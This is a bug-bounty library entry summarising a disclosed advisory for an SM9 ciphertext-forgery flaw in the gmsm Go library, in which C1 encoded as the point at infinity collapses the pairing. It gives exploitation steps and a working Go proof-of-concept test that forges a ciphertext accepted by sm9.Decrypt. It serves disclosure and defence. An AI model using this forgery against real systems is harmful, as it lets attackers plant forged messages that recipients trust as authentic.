# SM9 Infinity-Point Ciphertext Forgery Vulnerability

SM9 decryption in gmsm accepted C1 as the point at infinity, degenerating the pairing to GT identity and letting anyone knowing only the UID forge ciphertexts that pass the C3 integrity check.

- Payout: Research
- Severity: critical
- Program: gmsm
- Found by: Cameudis, sunyxedu
- Disclosed: 2026-03-13
- CVE: CVE-2026-32614
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-5xxp-2vrj-x855
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-5xxp-2vrj-x855
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:crypto

**Target:** SM9 decryption/decapsulation API (Decrypt, DecryptASN1, UnwrapKey)
**Root cause:** UnwrapKey deserializes C1 and checks IsOnCurve but never rejects the point at infinity, so the bilinear pairing degenerates to the GT identity and the KDF input becomes a predictable constant.
**Steps:**
1. Generate master key and user key for uid `victim@example.com` with hid 0x01.
2. Set `c1 := make([]byte, 64)` (all-zero encoding of the point at infinity) and `gtIdentity := new(bn256.GT).SetOne()`.
3. Build KDF input as `c1 || gtIdentity.Marshal() || uid` and derive `forgeKey := sm3.Kdf(kdfInput, len(plaintext)+sm3.Size)`.
4. Compute `c2[i] = plaintext[i] ^ forgeKey[i]` and `c3 = SM3(c2 || forgeKey[len(plaintext):])`.
5. Assemble `forgedCiphertext = c1 || c3 || c2` and call `sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts)`; it returns the attacker-chosen plaintext.
**How found:** Code review of the SM9 decryption path: noticed C1 was only deserialized and IsOnCurve-checked, with no explicit rejection of the group identity element required by the standard.
**Exploitation:** Attacker needs only the victim's UID. By encoding C1 as the point at infinity, the pairing e(C1, Ppub) becomes the GT identity, making the KDF input a known constant; the attacker derives the keystream, XORs chosen plaintext into C2, and computes a matching C3 so the integrity check passes. The recipient's Decrypt/UnwrapKey returns attacker-controlled plaintext.
**Escalation:** Affects both public-key decryption and KEM decapsulation via the shared UnwrapKey path, so any protocol treating successful SM9 decryption as proof of sender authenticity is broken.
**Insight:** For pairing-based schemes, always check that deserialized group elements are not the identity: an infinity point collapses the pairing to GT's identity and turns key derivation into a public constant, defeating both confidentiality and integrity checks.

## Proof of concept (copied exactly from the original report)

**Go test forging SM9 ciphertext with infinity C1**

```
func TestInfinityPointCiphertextForgeryPublicAPI(t *testing.T) {
	masterKey, err := sm9.GenerateEncryptMasterKey(rand.Reader)
	if err != nil {
		t.Fatal(err)
	}
	hid := byte(0x01)
	uid := []byte("victim@example.com")

	userKey, err := masterKey.GenerateUserKey(uid, hid)
	if err != nil {
		t.Fatal(err)
	}

	plaintext := []byte("forged-without-public-encryption")

	c1 := make([]byte, 64)
	gtIdentity := new(bn256.GT).SetOne()

	var kdfInput []byte
	kdfInput = append(kdfInput, c1...)
	kdfInput = append(kdfInput, gtIdentity.Marshal()...)
	kdfInput = append(kdfInput, uid...)

	key1Len := len(plaintext)
	forgeKey := sm3.Kdf(kdfInput, key1Len+sm3.Size)

	c2 := make([]byte, key1Len)
	for i := range c2 {
		c2[i] = plaintext[i] ^ forgeKey[i]
	}

	hash := sm3.New()
	hash.Write(c2)
	hash.Write(forgeKey[key1Len:])
	c3 := hash.Sum(nil)

	forgedCiphertext := make([]byte, 0, 64+32+key1Len)
	forgedCiphertext = append(forgedCiphertext, c1...)
	forgedCiphertext = append(forgedCiphertext, c3...)
	forgedCiphertext = append(forgedCiphertext, c2...)

	recovered, err := sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts)
	if err != nil {
		t.Fatalf("public Decrypt rejected forged ciphertext: %v", err)
	}

	if !bytes.Equal(recovered, plaintext) {
		t.Fatalf("plaintext mismatch: got %q, want %q", string(recovered), string(plaintext))
	}

	t.Logf("VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=%q", string(recovered))
```

